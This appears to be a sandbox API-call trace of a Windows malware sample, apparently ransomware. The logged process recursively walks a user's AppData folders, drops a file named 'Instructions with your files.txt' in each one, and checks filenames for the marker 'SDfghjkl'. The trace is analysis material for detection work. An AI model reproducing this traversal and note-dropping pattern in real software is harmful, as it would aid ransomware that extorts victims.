[0130.587] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.587] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\Instructions with your files.txt") returned 111
[0130.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\system\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.587] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.588] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.588] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.588] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.588] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.589] CloseHandle (hObject=0x120) returned 1
[0130.589] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.589] GetProcessHeap () returned 0x810000
[0130.589] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.589] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
[0130.589] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User") returned 76
[0130.589] GetProcessHeap () returned 0x810000
[0130.589] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.589] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*") returned 78
[0130.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.589] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\.") returned 78
[0130.589] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.589] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\..") returned 79
[0130.589] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.589] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\Instructions with your files.txt") returned 109
[0130.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\user\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.590] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.590] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.591] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.591] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.591] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.591] CloseHandle (hObject=0x120) returned 1
[0130.591] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.591] GetProcessHeap () returned 0x810000
[0130.591] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.591] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
[0130.591] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\Instructions with your files.txt") returned 104
[0130.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.591] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.592] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.592] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.592] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.592] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.593] CloseHandle (hObject=0x11c) returned 1
[0130.593] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.593] GetProcessHeap () returned 0x810000
[0130.593] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.594] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
[0130.594] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig") returned 75
[0130.594] GetProcessHeap () returned 0x810000
[0130.594] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.594] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*") returned 77
[0130.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.595] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\.") returned 77
[0130.595] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.595] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\..") returned 78
[0130.595] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.sig", cAlternateFileName="350DB9~1.SIG")) returned 1
[0130.595] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig") returned 112
[0130.595] StrStrIW (lpFirst="350db95df4cbd94b2a1c300510e12e11.sig", lpSrch="SDfghjkl") returned 0x0
[0130.595] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 1
[0130.596] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml") returned 112
[0130.596] StrStrIW (lpFirst="350db95df4cbd94b2a1c300510e12e11.xml", lpSrch="SDfghjkl") returned 0x0
[0130.596] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="350db95df4cbd94b2a1c300510e12e11.xml", cAlternateFileName="350DB9~1.XML")) returned 0
[0130.596] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\Instructions with your files.txt") returned 108
[0130.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.598] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.599] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.599] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.599] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.599] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.599] CloseHandle (hObject=0x11c) returned 1
[0130.599] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.599] GetProcessHeap () returned 0x810000
[0130.599] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
[0130.599] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Instructions with your files.txt") returned 97
[0130.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.600] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.601] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.601] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.601] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.601] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.601] CloseHandle (hObject=0x118) returned 1
[0130.601] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.601] GetProcessHeap () returned 0x810000
[0130.601] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.601] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
[0130.601] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook") returned 65
[0130.601] GetProcessHeap () returned 0x810000
[0130.601] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.601] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*") returned 67
[0130.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.601] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\.") returned 67
[0130.601] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.601] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\..") returned 68
[0130.601] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
[0130.602] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf") returned 77
[0130.602] StrStrIW (lpFirst="mapisvc.inf", lpSrch="SDfghjkl") returned 0x0
[0130.602] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4d2d00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi", cAlternateFileName="OUTLOO~1.OBI")) returned 1
[0130.602] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi") returned 89
[0130.602] StrStrIW (lpFirst="Outlook.sharing.xml.obi", lpSrch="SDfghjkl") returned 0x0
